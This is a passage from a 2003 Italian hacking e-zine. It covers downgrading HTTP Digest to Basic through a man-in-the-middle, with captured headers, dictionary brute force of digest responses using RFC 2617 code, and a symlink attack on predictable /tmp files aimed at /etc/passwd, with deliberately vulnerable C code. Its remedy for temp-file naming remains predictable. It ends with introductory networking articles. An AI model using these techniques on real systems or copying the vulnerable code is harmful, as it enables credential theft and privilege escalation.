schema digest... | | | | | | 20:54:39 192.168.1.6:80 --> 192.168.1.4:1167 | | | | HTTP/1.1 401 Authorization Required. | | Date: Thu, 30 Jan 2003 20:51:29 GMT. | | Server: Apache/1.3.26 (Unix). | | WWW-Authenticate: Digest realm="Login", nonce="1044354862". | | Connection: close. | | Content-Type: text/html; charset=iso-8859-1. | | | | | | ...l'utente malevolo sfrutta la sua condizione di MITM per intercettare | | e | | manomettere l'header WWW-Authenticate e forzare il client ad utilizzare | | uno schema di autenticazione vulnerabile... | | | | | | 20:54:39 192.168.1.6:80 --> 192.168.1.4:1167 | | | | HTTP/1.1 401 Authorization Required. | | Date: Thu, 30 Jan 2003 20:51:29 GMT. | | Server: Apache/1.3.26 (Unix). | | WWW-Authenticate: Basic realm="Login". | | Connection: close. | | Content-Type: text/html; charset=iso-8859-1. | | | | | | ...il client invia le proprie credenziali in chiaro esponendole alla | | cattura da parte di chi attacca... | | | | | | 20:55:18 192.168.1.4:1168 --> 192.168.1.6:80 | | | | GET /login HTTP/1.0. | | Connection: Keep-Alive. | | User-Agent: Mozilla/4.77 [en] (X11; U; Linux 2.4.18 i686). | | Host: paperino.linuxbox.com. | | Accept: image/gif, image/x-xbitmap, image/jpeg, image/png, */*. | | Accept-Encoding: gzip. | | Accept-Language: en. | | Accept-Charset: iso-8859-1,*,utf-8. | | Authorization: Basic cGlwcG86cGlwcG8=. | | | | | | L'utente malevolo che ha intercettato le credenziali in base64 è ora in | | grado di decodificarle ed utilizzare tali informazioni per accedere | | comodamente tramite un'autenticazione digest. | | | | | | 4.3 Brute Force Attack | | | | Il valore del challange e del response, scambiati tra il client e il | | server nel corso di un'autenticazione di tipo digest, costituiscono gli | | elementi sufficienti per eseguire un attacco di forza bruta in grado di | | ricavare la password di accesso dell'utente. | | Pertanto, un utente che entri in possesso di tali informazioni può | | provare ad applicare lo stesso algoritmo utilizzato per la generazione | | del responce per un dato nonce, utilizzando come password una lista di | | parole di uso comune. | | | | Qui di seguito viene illustrato quello che potrebbe essere un possibile | | scenario, i valori rispettivamente del challange e del response sono i | | seguenti: | | | | | | 11:34:22 192.168.1.4:80 --> 192.168.1.5:32775 | | | | HTTP/1.1 401 Authorization Required. | | Date: Tue, 04 Feb 2003 10:34:22 GMT. | | Server: Apache/1.3.20 (Unix). | | WWW-Authenticate: Digest realm="Login", nonce="1044354862". | | Transfer-Encoding: chunked. | | Content-Type: text/html; charset=iso-8859-1. | | | | | | 11:34:28 192.168.1.5:32776 --> 192.168.1.4:80 | | | | GET /login/ HTTP/1.1. | | User-Agent: Mozilla/5.0 (compatible; Konqueror/3; Linux). | | Accept: text/*, image/jpeg, image/png, image/*, */*. | | Accept-Encoding: x-gzip, gzip, identity. | | Accept-Charset: ISO-8859-1, utf-8;q=0.5, *;q=0.5. | | Accept-Language: en, POSIX. | | Host: pippo.linuxbox.com. | | Authorization: Digest username="pippo", realm="Login", | | nonce="1044354862", uri="/login/", algorithm="MD5", | | response="f39e7e7e63adffc9d7a06e9c0ce68d03". | | | | | | Partendo dal presupposto che l'algoritmo utilizzato da mod_digest.c per | | generare il response è il seguente: | | | | response = MD5(MD5(username:realm:passwd):nonce:MD5(method:request URI)) | | | | e sapendo che l'unico parametro di cui NON siamo in possesso è quello | | della password... | | | | response = MD5(MD5(pippo:Login:???????????):1044354862:MD5(GET:/login/)) | | | | ...possiamo computare tutti i possibili valori del campo password | | all'interno di una lista di parole di uso comune, fino ad ottenere un | | response identico a quello catturato, in tal caso avremo trovato il | | valore della password. | | | | | | 4.4 Implementazione | | | | Riporto qui di seguito alcuni sorgenti tratti dall'RFC 2617 che | | implementano l'algoritmo utilizzato per computare il valore del response | | | | | | File "digcalc.h": | | | | | | #define HASHLEN 16 | | typedef char HASH[HASHLEN]; | | #define HASHHEXLEN 32 | | typedef char HASHHEX[HASHHEXLEN+1]; | | #define IN | | #define OUT | | | | /* calculate H(A1) as per HTTP Digest spec */ | | void DigestCalcHA1( | | IN char * pszAlg, | | IN char * pszUserName, | | IN char * pszRealm, | | IN char * pszPassword, | | IN char * pszNonce, | | IN char * pszCNonce, | | OUT HASHHEX SessionKey | | ); | | | | /* calculate request-digest/response-digest as per HTTP Digest spec */ | | void DigestCalcResponse( | | IN HASHHEX HA1, /* H(A1) */ | | IN char * pszNonce, /* nonce from server */ | | IN char * pszNonceCount, /* 8 hex digits */ | | IN char * pszCNonce, /* client nonce */ | | IN char * pszQop, /* qop-value: "", "auth", "auth-int" */ | | IN char * pszMethod, /* method from the request */ | | IN char * pszDigestUri, /* requested URL */ | | IN HASHHEX HEntity, /* H(entity body) if qop="auth-int" */ | | OUT HASHHEX Response /* request-digest or response-digest */ | | ); | | | | | | File "digcalc.c": | | | | | | #include | | #include | | #include | | #include "digcalc.h" | | | | void CvtHex( | | IN HASH Bin, | | OUT HASHHEX Hex | | ) | | { | | unsigned short i; | | unsigned char j; | | | | for (i = 0; i < HASHLEN; i++) { | | j = (Bin[i] >> 4) & 0xf; | | if (j <= 9) | | Hex[i*2] = (j + '0'); | | else | | Hex[i*2] = (j + 'a' - 10); | | j = Bin[i] & 0xf; | | if (j <= 9) | | Hex[i*2+1] = (j + '0'); | | else | | Hex[i*2+1] = (j + 'a' - 10); | | }; | | Hex[HASHHEXLEN] = '\0'; | | }; | | | | /* calculate H(A1) as per spec */ | | void DigestCalcHA1( | | IN char * pszAlg, | | IN char * pszUserName, | | IN char * pszRealm, | | IN char * pszPassword, | | IN char * pszNonce, | | IN char * pszCNonce, | | OUT HASHHEX SessionKey | | ) | | { | | MD5_CTX Md5Ctx; | | HASH HA1; | | | | MD5Init(&Md5Ctx); | | MD5Update(&Md5Ctx, pszUserName, strlen(pszUserName)); | | MD5Update(&Md5Ctx, ":", 1); | | MD5Update(&Md5Ctx, pszRealm, strlen(pszRealm)); | | MD5Update(&Md5Ctx, ":", 1); | | MD5Update(&Md5Ctx, pszPassword, strlen(pszPassword)); | | MD5Final(HA1, &Md5Ctx); | | if (stricmp(pszAlg, "md5-sess") == 0) { | | MD5Init(&Md5Ctx); | | MD5Update(&Md5Ctx, HA1, HASHLEN); | | MD5Update(&Md5Ctx, ":", 1); | | MD5Update(&Md5Ctx, pszNonce, strlen(pszNonce)); | | MD5Update(&Md5Ctx, ":", 1); | | MD5Update(&Md5Ctx, pszCNonce, strlen(pszCNonce)); | | MD5Final(HA1, &Md5Ctx); | | }; | | CvtHex(HA1, SessionKey); | | }; | | | | /* calculate request-digest/response-digest as per HTTP Digest spec */ | | void DigestCalcResponse( | | IN HASHHEX HA1, /* H(A1) */ | | IN char * pszNonce, /* nonce from server */ | | IN char * pszNonceCount, /* 8 hex digits */ | | IN char * pszCNonce, /* client nonce */ | | IN char * pszQop, /* qop-value: "", "auth", "auth-int" */ | | IN char * pszMethod, /* method from the request */ | | IN char * pszDigestUri, /* requested URL */ | | IN HASHHEX HEntity, /* H(entity body) if qop="auth-int" */ | | OUT HASHHEX Response /* request-digest or response-digest */ | | ) | | { | | MD5_CTX Md5Ctx; | | HASH HA2; | | HASH RespHash; | | HASHHEX HA2Hex; | | | | // calculate H(A2) | | MD5Init(&Md5Ctx); | | MD5Update(&Md5Ctx, pszMethod, strlen(pszMethod)); | | MD5Update(&Md5Ctx, ":", 1); | | MD5Update(&Md5Ctx, pszDigestUri, strlen(pszDigestUri)); | | if (stricmp(pszQop, "auth-int") == 0) { | | MD5Update(&Md5Ctx, ":", 1); | | MD5Update(&Md5Ctx, HEntity, HASHHEXLEN); | | }; | | MD5Final(HA2, &Md5Ctx); | | CvtHex(HA2, HA2Hex); | | | | // calculate response | | MD5Init(&Md5Ctx); | | MD5Update(&Md5Ctx, HA1, HASHHEXLEN); | | MD5Update(&Md5Ctx, ":", 1); | | MD5Update(&Md5Ctx, pszNonce, strlen(pszNonce)); | | MD5Update(&Md5Ctx, ":", 1); | | if (*pszQop) { | | MD5Update(&Md5Ctx, pszNonceCount, strlen(pszNonceCount)); | | MD5Update(&Md5Ctx, ":", 1); | | MD5Update(&Md5Ctx, pszCNonce, strlen(pszCNonce)); | | MD5Update(&Md5Ctx, ":", 1); | | MD5Update(&Md5Ctx, pszQop, strlen(pszQop)); | | MD5Update(&Md5Ctx, ":", 1); | | }; | | MD5Update(&Md5Ctx, HA2Hex, HASHHEXLEN); | | MD5Final(RespHash, &Md5Ctx); | | CvtHex(RespHash, Response); | | }; | | | | | | File "digtest.c": | | | | | | #include | | #include "digcalc.h" | | | | void main(int argc, char ** argv) { | | | | char * pszNonce = "dcd98b7102dd2f0e8b11d0f600bfb0c093"; | | char * pszCNonce = "0a4f113b"; | | char * pszUser = "Mufasa"; | | char * pszRealm = "testrealm@host.com"; | | char * pszPass = "Circle Of Life"; | | char * pszAlg = "md5"; | | char szNonceCount[9] = "00000001"; | | char * pszMethod = "GET"; | | char * pszQop = "auth"; | | char * pszURI = "/dir/index.html"; | | HASHHEX HA1; | | HASHHEX HA2 = ""; | | HASHHEX Response; | | | | DigestCalcHA1(pszAlg, pszUser, pszRealm, pszPass, pszNonce, | | pszCNonce, HA1); | | DigestCalcResponse(HA1, pszNonce, szNonceCount, pszCNonce, pszQop, | | pszMethod, pszURI, HA2, Response); | | printf("Response = %s\n", Response); | | }; | | | | | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ HACKiNG #09 - 01/06/2003 | | SYMB0LiC LiNK VULNERABiLiTiES [Master^Shadow] 0x05/0x20 | +--------------------------------------------------------------------------+ | INTRODUZIONE | | Una delle vulnerabilità più interessanti del mondo *NIX è sicuramente | | quella dovuta alla combinazione di link simbolici e all'apertura di file | | temporanei non casuali da parte dei programmi. | | Ipotizziamo di avere un demone in background che aspetti dei dati in | | input dall'utenza e li memorizzi in un file temporaneo per | | l'elaborazione e che il nome di questo file sia stato predefinito dal | | programmatore del demone stesso. Ad ogni richiesta sul demone | | corrisponde l'accesso al file "taldeitali" e la scrittura di dati sullo | | stesso. | | Nel mondo *NIX ci sono due soli metodi di accesso ai file: accesso | | diretto o tramite link (sia simbolico che non). Teoricamente il demone è | | stato scritto per accesso diretto in quanto il file non dovrebbe | | esistere ma se in qualche maniera il file esistesse e non fosse un file | | reale ma un link, cosa accade al programma? Qui nasce la vulnerabilità | | ai link simbolici, oggetto di questo paper. | | | | CAPIRE LA VULNERABILITA' | | Il modo migliore per affrontare l'analisi di questa vulnerabilità è | | prendere confidenza con la stessa operando su un piccolo pezzo di | | codice C. | | | | // Inizio codice vulnerabile | | #include | | | | int main() | | { char *stringa = "Da qui posso entrare, fai attenzione!\0"; | | FILE *out; | | out = fopen("/tmp/filepericoloso", "w"); | | fputs(stringa, out); | | } | | // Fine codice vulnerabile | | | | Questo codice va compilato con "gcc -o nomeEseguibile sorgente.c" ed è | | in grado di creare un file nella directory "/tmp" chiamato | | "filepericoloso", nel quale viene scritta la stringa "Stringa di testo". | | Avviamo l'eseguibile ottenuto da gcc per creare il file "filepericoloso" | | e facciamo un cat del file appena creato: come era ovvio il file | | contiene il testo puntato dal riferimento *stringa. | | Proviamo ora a rimuovere il file "filepericoloso" e a creare un link | | simbolico ad un altro file, ad esempio con: | | | | ln -s /tmp/fileesistente /tmp/filepericoloso | | | | Ora abbiamo ottenuto che il file "/tmp/filepericoloso" è divenuto un | | link a "/tmp/fileesistente" e agendo sul link "filepericoloso" si | | modifica il file a cui punta il link e non quindi il link stesso. Se | | infatti lanciamo il programma vulnerabile otterremo la sovrascrittura di | | "/tmp/fileesistente" e non di "/tmp/filepericoloso". | | | | POSSIBILI SVILUPPI | | Pensiamo al nostro demone come ad un servizio di rete. Solitamente i | | servizi vengono lanciati all'avvio tramite scripts e normalmente girano | | a livello di root (tranne particolari casi nei quali solo il core | | dell'applicazione viene avviato come root mentre i thread girano a uid | | più elevato). | | | | | | Il nostro demone è diventato un appliance di rete che gira a permessi | | elevati ed è vulnerabile al SymLink Attack. | | Avendo accesso al sistema e quindi alla directory /tmp in scrittura è | | possibile creare un link ad un qualsiasi file del sistema pur non avendo | | i permessi per modificare tale file. | | Se infatti creassimo un link "/tmp/filepericoloso" verso un qualsiasi | | file e avviassimo il demone vulnerabile, questo sovrascriverebbe il file | | puntato del link con l'array di caratteri puntato da *stringa. | | Qualsiasi file verrà sovrascritto in quanto il processo del demone ha i | | permessi massimi, quelli dell'utente root. | | | | Se il demone memorizza nel file temporaneo dati provenienti dall'utente | | è possibile scrivere in un qualsiasi file del sistema l'input | | proveniente da tastiera. | | Se il file puntato fosse /etc/passwd sarebbe possibile creare un account | | nel sistema con i più alti privilegi in pochi secondi, beffandosi di | | tutte le protezioni d'accesso presenti nel sistema. | | | | GENERARE NOMI CASUALI PER I FILE TEMPORANEI | | Per ovviare al problema generato dalla non causualità dei file | | temporanei è possibile scrivere un algoritmo per la creazione random di | | un nome per i file temporanei. | | L'algoritmo sottostante è generato tramite la combinazione di tre | | valori, uno fisso e due casuali (uno prettamente causuale e uno | | dipendente da come è stato concepito lo scheduler del sistema che nel | | peggiore dei casi è un valore sequenziale). | | I tre valori considerati sono: un prefisso, un numero casuale generato | | tramite i tick di sistema e il PID, un numero che identifica | | univocamente un processo nei sistemi Linux. | | | | // Inizio del codice di generazione nome casuale | | #include | | #include | | #include | | #include | | #include | | #include | | | | int main(void) | | { | | int rndNum; | | char *prefix = "prefix\0"; | | char filename[100] = "\0"; | | time_t seed = time(NULL); | | | | strcat(filename, prefix); | | srand(seed); | | rndNum = 1+ (int)(1000.0*rand()/(RAND_MAX+1.0)); | | rndNum *= getpid(); | | | | sprintf(filename, "%s%d", filename, rndNum); | | printf("%s\n", filename); | | | | return 0; | | } | | // Fine del codice di generazione nome casuale | | | | L'algoritmo implementato nel codice sovrastante è molto semplice: la | | stringa puntata da *prefix viene copiata nell'array di caratteri | | filename (di dimensione 100) e successivamente si inizializza il | | generatore di numeri casuali con il numero di secondi passati dalla data | | di riferimento (generalmente 00:00:00 UTC, January 1, 1970). | | Una volta che il generatore è stato inizializzato, viene assegnato alla | | variabile rndNum un numero casuale intero compreso tra 0 e 999 | | moltiplicato per il PID del processo ed il tutto viene unito nell'array, | | rendendo il nome generato accessibile. | | Solitamente i demoni creano un thread ad ogni connessione in modo da | | gestire la multi-utenza e, se l'algoritmo viene implementato all'interno | | del thread stesso, è possibile avere un PID diverso ad ogni connessione | | e rendere quindi pressochè impossibile la predizione del nome del file | | temporaneo. | | | | RINGRAZIAMENTI | | I più sentiti ringraziamenti a tutti i componenti di RoLUG, agli amici | | di OndaQuadra, allo staff di Pcimprover.it e a tutti quelli che mi | | sopportano giorno dopo giorno. | | Ringrazio inoltre tutti i promotori di Linux in tutto il mondo e tutti | | coloro che vogliono un sistema informatico libero da concezioni | | politiche e da monopoli. | | Free software is the right choice! | | | | | | | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ NETW0RKiNG #09 - 01/06/2003 | | LE RETi [Spy] 0x06/0x20 | +--------------------------------------------------------------------------+ | | | Le reti | | | | | | | | Protocollo: | | | | Il Protocollo è fondamentale in tutte le tipologie di reti | | informatiche, infatti il protocollo è il “linguaggio” di comunicazione | | utilizzato da vari personal computer nella rete. | | | | I vari tipi di protocollo: | | | | Protocollo IPv4 | | Protocollo IPv6 | | Protocollo TCP (associato al Protocollo IP forma il | | protocollo TCP/IP) | | Protocollo netBios o netBuei | | Protocollo IPX/SPX | | Protocollo AppleTalk | | Rete TokenRing | | | | Il Protocollo IPv4 e IPv6 | | | | IPv sta per: Internet Protocol version | | Le attuali versioni di Internet Protocol sono la versione 4 ormai in | | circolazione da molto tempo e la versione 6 di recente uscita | | destinato a rimpiazzare l’IPv4 su cui si basa Internet. | | Tutti gli utenti Internet usano IPv4, un protocollo vecchio ormai di | | vent’anni e con molte falle riguardanti la sicurezza ciò fa pensare | | alla progettazione di un nuovo protocollo. | | Il Secondo e ben più importante motivo della nascita del IPv6 è la | | mancanza di indirizzi IPv4 che stanno ormai per terminare! | | L’IPv6 è in attuale co-esistenza con l’IPv4 appoggiandosi ad una rete | | IPv6-Over-IPv6 chiamata 6Bone la quale appoggia a sua volta | | sull’attuale rete Internet, tramite un sistema di Tunneling i dati | | IPv6 vengono inseriti in normali pacchetti IPv4. | | La differenza sostanziale tra IPv4 e IPv6 sta nella struttura degli | | indirizzi. | | | | Nella versione 4 dell’Internet Protocol gli indirizzi IP sono | | espressi in base 10 (es. 62.98.231.67) | | mentre nella nuova versione gli IP sono rappresentati in base 16 | | (esadecimale) (es. 2001:6b8:0:400::70c) | | Analizzando la struttura del nuovo IPv6 si nota che l’IP è organizzato | | in 8 blocchi di 16 Bit ciascuno, se osserviamo l’esempio sopraccitato | | si vede che l’IP è formato solo da 6 blocchi, in effetti sono 8 ma due | | blocchi sono racchiusi tra “::” perché costituiti tutti da zeri. | | Nella forma completa il nostro IP sarebbe stato: | | 2001:06b8:0000:0000:0400:0000:0000:070c | | | | Un'altra forma di scrittura per l’IPv6 è la Nibble, questa forma è | | usata per la zona inversa del DNS (Domain name Server). | | Questa forma prevede che l’IP venga scritto al contrario, senza | | contradistinzioni e che ogni carattere venga separato degli altri per | | mezzo di un punto. | | La rappresentazione del nostro IP | | (2001:06b8:0000:0000:0400:0000:0000:070c) nella forma NIbble | | corrisponderebbe a | | c.0.7.0.0.0.0.0.0.0.0.0.0.0.4.0.0.0.0.0.0.0.0.08.b.6.0.1.0.0.2.ipv6.int | | | | | | DNS: è il sistema che permette di far corrispondere un dato dominio | | al relativo indirizzo ip, in modo che digitando il nome di un dominio | | di un sito, l’utente venga connesso al server che ospita quel sito. | | | | Protocollo TCP/IP | | | | Il TCP/IP non si può definire un protocollo me è meglio dire che è un | | insieme di protocolli che comprendono TCP, IP, UDP ed altri ancora. | | | | Funzionamento: | | | | Per trasmettere dei dati tra due calcolatori bisogna avere la | | possibilità di identificare i due i calcolatori, questo è possibile | | mediante l’indirizzo ip che deve essere unico per ogni calcolatore. | | Il protocollo ip consente la trasmissione di pacchetti di dati tra due | | elaboratori | | La trasmissione di dati mediante protocollo IP segue uno schema molto | | semplice: i dati vengono suddivisi in pacchetti di una certa | | dimensione, ad ogni pacchetto è associato il numero identificativo del | | computer che spedisce i pacchetti e quello del computer destinatario. | | Questo tipo di protocollo non prevede nessun tipo di controllo sui | | dati trasmessi, non verifica che tutti i pacchetti siano | | effettivamente arrivati a destinazione e che la sequenza di arrivo | | corrisponda a quella di invio. | | Proprio per questo al protocollo IP è stato affiancato il protocollo | | TCP che si occupa della correttezza delle trasmissioni, verifica che | | tutto ciò che è stato trasmesso arrivi a destinazione e se ciò non | | avviene rinvia il pacchetto mancante, inoltre verifica che la sequenza | | di arrivo dati sia uguale a quella di invio. | | | | Protocollo netBios/netBuei: | | | | NetBios (NetWork Basic Input/Output System) è un insieme di regole che | | dettano in che modo le applicazioni debbano accedere alla rete. | | Fu sviluppato dall’IBM e dalla Microsoft agli inizi degli anni ’80. | | Con questo sistema attivato ogni computer viene identificato in rete | | da un nome attribuito al pc al momento dell’installazione del SO | | (Sistema Operativo). | | Quando vengono inviati dei pacchetti NetBIOS ogni computer connesso | | alla rete ne riceve una copia ma il pacchetto viene preso in | | considerazione solo se l’indirizzo del destinatario inserito nel | | pacchetto NetBios corrisponde la nome del computer. | | Questo sistema pur essendo molto semplice presenta degli | | inconvenienti, infatti le prestazione della rete vengono degradate | | dall’eccessiva presenza di pacchetti inutili e quindi destinati ad | | essere scartati. | | Inoltre non è possibile interfacciare direttamente diverse reti tra | | loro e non possono accedere all’esterno, di conseguenza questo | | protocollo è destinato a piccole reti chiuse. | | | | Protocollo IPX/SPX | | | | IPX/SPX (Internetwork Packet eXchange/Sequential Packet eXchange) è un | | protocollo creati dalla Novell per le proprie reti e diventato uno | | standard nei primi anni ’90. | | Si tratta dell’unione di due protocolli molto simili tra loro da poter | | lavorare insieme formando un unico protocollo. | | Il protocollo IPX si può considerare simile al NetBIOS infatti | | anch’esso prepara i pacchetti e li inoltra nella rete senza curarsi | | del destinatario, se il destinatario li abbia ricevuti integri e tanto | | meno se li abbia effettivamente ricevuti. | | Proprio per questo motivo gli è stato affiancato il protocollo SPX che | | è in grado di eseguire queste funzione e di identificare uno specifico | | computer nella rete attraverso il nome del computer e di un | | particolare indirizzo memorizzato nel hardware di rete al momento | | della sua produzione. | | | | Protocollo AppleTalk | | | | Questo protocollo è stato studiato da Apple per la messa in opera di | | reti Macintosh | | L’assegnazione di un indirizzo Apple Talk avviene dinamicamente nel | | momento dell’avvio del computer, il sistema sceglie l’indirizzo | | automaticamente e invia sulla rete una richiesta di conferma. | | Se nessun altro computer risponde, l’indirizzo scelto viene assegnato | | automaticamente. | | Se invece l’indirizzo scelto è già presente sulla rete, il computer | | riceve un messaggio d’errore dal computer al quale è stato assegnato | | l’indirizzo in questione per primo, di conseguenza il computer in | | cerca dell’indirizzo ne prova un altro fino a quando non ne trova uno | | libero. | | Ogni indirizzo di rete AppleTalk viene associato all’hardware di rete | | installato sul computer. | | Un punto a favore di questa tipologia di rete è la semplicità di | | utilizzo ma purtroppo esistono dei limiti; AppleTalk non ha avuto | | molta diffusione innanzitutto per il particolare File System adottato | | dalla Apple che rende difficoltoso lo scambia di dati da sistemi Apple | | a sistemi non Apple. | | Un altro motivo è che il protocollo AppleTalk fosse proprietà di Apple | | e quindi ha tenuto lontani i programmatori dai suoi segreti evitando | | quasi l’accesso da parte di tecnologie esterne. | | | | Rete TokenRing | | | | La rete TokenRing nasce da studi effettuati da IBM e risulta essere la | | più veloce rete informatica disponibile al momento. | | Il nome Token-Ring deriva dalla sua struttura particolare, cioè ad | | anello (in inglese Ring) e dalla tecnica di trasmissione dei dati. | | In un anello di connessione viaggiano diversi pacchetti detti token | | che indicano un particolare stato: libero o impegnato. | | Quando un computer connesso alla rete deve trasmettere dei dati, | | aspetta fino a quando non riceve in ingresso un token libero. | | Non appena il token libero viene individuato il computer lo | | sostituisce con un token impegnato, seguito dal pacchetto dati da | | recapitare così prende circolo nel flusso della rete. | | Se il pacchetto dati compie l’intero percorso torna al computer che ha | | emesso questo pacchetto che lo elimina dal flusso e lo sostituisce con | | un token libero e aspetta di nuovo il suo turno per trasmettere. | | Il risultato ovvio è che in una rete TokenRing la consegna dei dati | | presso il destinatario è garantita in quanto essi vengono sempre | | ritrasmessi fino ad esito positivo, cioè fino a quando non vengono | | eliminati dal flusso dal destinatario e sostituiti con un token libero | | Questa rete è particolarmente adatta all’utilizzo delle fibre ottiche | | per la trasmissione di grandi moli di dati. | | | | Le tipologie di reti | | | | Reti a Stella | | | | Sono basate su un nodo centrale (detto hub) al quale sono connessi | | tutti gli altri nodi periferici. | | In Questo tipo di rete ogni elaboratore ha un proprio mezzo fisico per | | collegarsi al server mediante l’HUB. | | | | Reti a Bus | | | | Quando gli elaboratori condividono lo stesso mezzo fisico di | | trasmissione ossia un cavo BNC | | I cavi BNC sono cavi coassiali schermati con impedenza di 50 Ohm. | | | | Reti ad Anello | | | | Tutti gli elaboratori sono collegati tra di loro in modo da formare | | un “anello” | | Con questo tipo di connessione si garantisce la continuità del flusso | | di dati anche in caso di guasto ad un elaboratore. | | Questo tipo di rete è usata nelle LAN | | | | Rete Server | | | | Il computer configurato come server ospita la risorsa da condividere e | | si occupa di rispondere e regolare le richieste di accesso. | | | | Reti Peer to Peer (P2P) | | | | Rete punto a punto o paritetica dove non esistono computer configurati | | come server o client ed ogni computer accede alla risorsa direttamente. | | | | Acronimi di rete: | | | | WAN: Wide Area Network (rete geografica) | | MAN: Metropolitan area Network (rete urbana) | | LAN: Local Area Network (rete locale o aziendale) | | | | Modelli di schede di rete: | | | | Modello con trasmissione dati a 10Mbit tipico delle reti Ethernet 10 | | base 2. | | Si installano nei connettori ISA. | | | | Modello con trasmissione dati a 10/100 Mbit tipico delle reti | | Ethernet 100 base T | | | | Cavi UTC: Unshielded Twisted Pair sono i cavi con doppino ritorto non | | schermato. | | | | Ethernet: è la tecnologia più diffusa per la realizzazione di reti LAN. | | Fu sviluppata da Bob Metcalfr che aveva ricevuto l’incarico di trovare | | un modo per collegare tra loro le prime stazione di lavoro ALTO (i | | primi computer basati su icone e finestre). | | | | | | | | Creato da Spy il 08/11/2002 | | | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ NETW0RKiNG #09 - 01/06/2003 | | iNTR0DUZi0NE ALLE RETi [l1l0] 0x07/0x20 | +--------------------------------------------------------------------------+ | -------------------- "Introduzione alle Reti" -------------------- | | | | -------- Introduzione Generale -------- | | | | La più semplice delle reti è quella costituita da due pc, di cui uno | | prende il nome di "server" (o anche detto servente) il quale mette a | | disposizione determinati servizi, e l'altro prende il nome | | di "client"(o anche detto cliente), il quale usufruisce dei servizi | | messi a disposizione dal server (figura 1). | | | | Figura 1 | | Pc "Client" --------------------> Pc "Server" | | | | Per rendere meglio l'idea potremmo immaginare il "client" come il | | cliente di un ristorante il quale entrato nel ristorante si siede, | | legge sul menu ciò che il ristorante offre e da questo elenco sceglie | | ciò che desidera. A grosse linee è quello che succede quando un pc | | client comunica con un pc server, ma sul menu al posto delle portate vi | | sono i servizi che il server stesso offre. | | | | Si passa da strutture di rete semplici come quella composta da due soli | | pc, a quelle molto più complesse, che vedremo adesso esaminando le | | topologie di rete. | | | | -------- Introduzione alle Topologie di Rete -------- | | | | Innanzitutto voglio chiarire il titolo, "topologie" non è un errore | | ortografico ma è il termine esatto che sta a definire la struttura | | delle reti o meglio detto in parole povere il modo in cui sono | | collegati tra di loro i vari pc facenti parti di una determinata rete. | | Quindi una rete sarà composta da vari "nodi". I nodi non sono | | nient'altro che i pc che compongono la rete stessa, e che assumono | | questo nome. Ora i nodi per comunicare devono essere ovviamente | | connessi tra loro, e quindi vi è la necessità di avere dei mezzi che | | fungano da tramite, i mezzi possono essere a "livello fisico" ( cavi, | | ed altri tipi di connettori...) o a "livello logico" (hub, switch...) | | ovvero che non necessitano di cavi per instradare i vari messaggi. Per | | ora basta sapere questo più avanti approfondiremo. | | | | | | -------- Le Topologie di Rete Locali -------- | | | | Esistono vari tipi di reti locali, prenderò in esame le seguenti | | topologie: a bus, ad anello e a stella. | | Illustrerò di seguito le loro principali caratteristiche. | | | | --- Rete a Bus --- | | | | E' senza dubbio una delle strutture di rete più semplice, affidabili e | | veloci, in pratica si tratta di un unico cavo di comunicazione al quale | | sono collegati i vari nodi (figura 2), è una struttura affidabile in | | quanto qualora un nodo per un qualsivoglia motivo cada la rete | | continuerà a funzionare, in quanto il suo funzionamento non è legato ai | | vari nodi ma ne è bensì indipendente. | | NB: qualora al nodo siano legati altri pc questi alla caduta del nodo | | perderanno la comunicazione con la rete principale stessa! | | | | Figura 2. | | Pc1 Pc2 Pc3 | | | | | | | PC --------------------------|| | | SERVER | | | | Pc4 Pc5 | | | | | | --- Rete ad Anello --- | | | | Questa rete è detta così per la sua struttura ad anello, in pratica | | ogni nodo della rete e collegato in maniera univoca mediante | | connessione pp (point-point), al nodo adiacente, quindi ogni nodo sarà | | legato in maniera unidirezionale ad almeno un altro nodo (figura 4). | | Unidirezionale in quanto un pc non potrà comunicare con il pc che lo | | precede senza aver prima attraversato tutti i nodi che | | compongono "l'anello", fino a giungere al nodo col quale desidera | | comunicare. | | Per il motivo appena descritto ciascun nodo deve essere in grado di | | confrontare il proprio indirizzo con quello che si trova sul messaggio | | che viene trasmesso per agire di conseguenza. Cerchiamo di capire | | meglio, osserviamo la figura 4. | | | | Figura 4. | | | | Pc1 ----> Pc2 ----> Pc3 | | ^ | | | | | | | Pc6<----- Pc5 <---Pc4 | | | | Supponiamo che il Pc1 voglia comunicare con il Pc4, allora il Pc1 | | (10.10.10.1) inizierà la comunicazione del messaggio, sul quale vi sarà | | scritto l'indirizzo del Pc4 (10.10.10.4), ora il messaggio prima di | | giungere al Pc4 dovrà necessariamente passare tramite i due nodi che lo | | precedono ovvero il Pc2 ed il Pc3. Questi due nodi non faranno | | nient'altro che andare a leggere l'indirizzo scritto nel messaggio e | | confrontarlo con il proprio, essendo il Pc2 di indirizzo 10.10.10.2, | | quindi non equivalente a quello scritto sul messaggio (ricordo che sul | | messaggio vi è scritto l'indirizzo del Pc4, ovvero 10.10.10.4), invierà | | il messaggio al nodo successivo ovvero al Pc3 il quale confronterà il | | proprio indirizzo con quello del messaggio ma anche questa volta non si | | equivalranno, quindi lo instraderà verso il Pc4 il quale farà la stessa | | operazione di confronto ma in questo caso non ritrasmetterà | | ulteriormente il messaggio in quanto è giunto a destinazione. | | Il principale vantaggio è che l'instradamento in questo tipo di rete è | | estremamente semplice in quanto ogni nodo deve semplicemente comunicare | | in maniera unidirezionale con il nodo adiacente, ma il problema di | | questa struttura è il rischio che il blocco di un solo nodo può portare | | alla paralisi completa dell'intera rete, per i motivi precedentemente | | illustrati. | | | | --- Rete a Stella --- | | | | Ed eccomi giunto a descrivere l'ultima delle topologie di rete che | | tratterò, ovvero quella a stella (figura 5). Questa struttura si | | caratterizza per la collocazione centrale di un "Pc Master",il quale | | può smistare ed instradare i messaggi provenienti dagli altri "Pc | | Slave", ad esso collegati. | | Al pc centrale sono collegati in maniera bidirezionale tutti gli altri | | pc della rete. In maniera bidirezionale in quanto ogni pc appartenente | | alla rete non potrà comunicare in alcun modo con un altro pc se non | | passando per il pc centrale, e quindi mandando dati al "Master" e | | ricevendone solo ed esclusivamente dallo stesso. | | | | Figura 5. | | | | Pc1 Pc2 | | \ / | | \ / | | Pc | | Master | | / \ | | / \ | | Pc3 Pc4 | | | | Pc Master: l'unità fondamentale della rete senza la quale la rete | | cesserebbe di esistere. | | Pc Slave: le unita subordinate all'unità centrale ovvero alla Master. | | Principale debolezza di questa struttura è la dipendenza dal computer | | Master, quindi nel caso questo cada, l'intera rete 